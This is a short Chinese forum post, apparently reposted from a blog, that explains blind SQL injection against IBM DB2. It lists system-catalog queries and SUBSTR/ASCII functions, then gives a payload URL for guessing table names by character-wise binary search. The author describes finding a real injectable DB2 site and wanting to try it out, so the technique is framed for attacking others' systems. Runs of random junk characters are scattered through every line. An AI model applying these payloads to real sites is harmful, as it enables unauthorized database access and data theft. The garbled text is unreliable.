使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。 ' D: L) E1 |, d9 H4 T7 p* [
参考了IBM DB2的文档，总结了这样几条： # a! @: Z) v1 B5 Z1 v9 N9 R
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
9 N; Z: w* e+ Y1 W* F可以返回系统中所有用户创建的表（table）名
( P- w" `8 e+ _& D' E U: E+ w. C2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''
7 z f0 a x5 E返回表中的列名 ) \1 o" m1 L9 j1 e: S
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY & d8 |3 v W% h/ ]0 n, K
这是最关键的地方，返回第一条记录，类似于sql server中的top 1 - ?& M* Z" }- l# K3 R9 ^/ i- ]
4、SUBSTR(string, position, length) 8 G6 w& `- c: b) O5 ]6 G$ O
返回字符串子串的函数，类似于mid
1 S- [' J$ l/ i5 J8 B5、ASCII()这个就不用多说了。 + c6 C- \. X# M# ~. n8 C4 {
有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。 1 b+ J! } }- c% S7 O
例如判断第一个table的名称的第一个字符的ascii码是否大于50： + ]: a4 h9 {, e* L/ j9 A
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- 4 L0 B- u5 b, @8 S% n
: p! F- u2 D* x, d- A
http://blog.waynedeng.com/blogview.asp?logID=543 " N- q% O0 A, {
|
发表于 2012-9-15 14:06:51
收藏
支持
反对